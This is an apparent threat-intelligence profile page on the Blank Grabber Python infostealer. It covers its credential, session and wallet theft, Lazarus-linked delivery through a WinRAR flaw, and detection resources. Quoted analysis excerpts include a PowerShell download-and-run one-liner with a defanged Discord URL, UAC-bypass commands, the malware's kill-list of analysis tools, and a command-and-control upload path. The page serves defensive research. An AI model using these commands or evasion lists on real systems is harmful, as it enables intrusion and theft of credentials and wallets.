Loading malware…
Blank Grabber is an open-source Python infostealer focused on harvesting credentials, browser data, messaging-platform sessions, and cryptocurrency wallet secrets from Windows systems. Reported theft targets include passwords, cookies, and autofill data from Chromium-based browsers, complete Discord and Telegram sessions, and seed phrases or private keys from numerous cryptocurrency wallets. Observed functionality also includes anti-analysis checks, termination of security or analysis tools, and user-account-control bypass techniques, indicating an emphasis on both data theft and defense evasion.
Blank Grabber has been observed in multi-stage delivery chains in which a downloader or loader retrieves and executes the stealer after user interaction or exploitation. Documented campaigns include malicious PDF lures abusing Foxit PDF Reader behavior to trigger command execution and a Lazarus-linked intrusion chain using a WinRAR path traversal vulnerability, CVE-2025-8088, to establish startup execution and deploy an obfuscated Python loader that installs the stealer. In those campaigns, the malware was associated with staging through common cloud or paste services and exfiltration or command-and-control via Telegram.
The malware has been linked in reporting to North Korea-aligned Lazarus activity, including campaigns using archive-based lures and software exploitation to deliver the stealer. Its role in those operations is consistent with financially motivated collection of credentials, session material, and wallet data that can support account compromise, fraud, and cryptocurrency theft. Blank Grabber primarily targets Windows endpoints and fits the broader trend of commodity and semi-commodity infostealers being used both by cybercriminal operators and by state-linked actors for credential access and follow-on intrusion.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
1 CVE Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.
captured a new sample from the Lazarus group that uses the WinRAR vulnerability CVE-2025-8088 for poisoning attacks... downloading a Blank Grabber information-stealing Trojan... targets passwords... and steals seed private keys...
1 distinct threat actor attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
"...subsequently downloading a Blank Grabber information-stealing Trojan. This Trojan primarily targets passwords, cookies, and autofill data in Chromium-based browsers, steals complete Discord and Telegram sessions, and steals seed private keys from over 20 mainstream encrypted wallets..."
24 distinct techniques documented for this family, organized by ATT&CK tactic.
Attaching a debugger, we can observe the executed command and, with the use of PowerShell, will download and execute a malicious file.
powershell -Command "(New-Object Net.WebClient).DownloadFile('hxxps://cdn.discordapp.com/.../Client_1.exe', 'payload.exe')"
The Python file is a Loader that executes dynamically downloaded code... This Python stealer targets only Chrome and Edge browsers.
“Lazarus group… uses the WinRAR vulnerability CVE-2025-8088… RAR files containing malicious scripts… Once the victim unzips the file…”
The malware contains strings important to its functionality and is encrypted with a custom algorithm.
The first exec call will download an obfuscated Python info stealer and Miner dropper and the second exec will execute it.
execute('computerdefaults --nouacbypass') ... execute('fodhelper --nouacbypass')
BLACKLISTED_TASKS = ('fakenet','dumpcap','httpdebuggerui','wireshark' ... 'ida64' ... 'x32dbg' ...)
the malware makes a GET request and then a POST to /up/cookie-password-all ... uploads them to the C&C using the same network communication | Command & Control ... the information sent to the C&C, which registers the bot...
4 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
5 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
A stealer referenced only in IOC examples for its Blank-[username].rar archive naming convention.
Information-stealing malware used to harvest credentials and sensitive data from Chromium-based browsers, messaging platforms (Telegram/Discord), and cryptocurrency wallets (seed phrases/private keys).
Information stealer attributed in the content to Lazarus activity; steals browser credentials/cookies/autofill, Discord/Telegram sessions, and seed/private keys from numerous crypto wallets (e.g., MetaMask, Exodus, Electrum).
Blank Grabber is an infostealer malware deployed by APT-C-26 (Lazarus) in campaigns exploiting WinRAR vulnerabilities.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.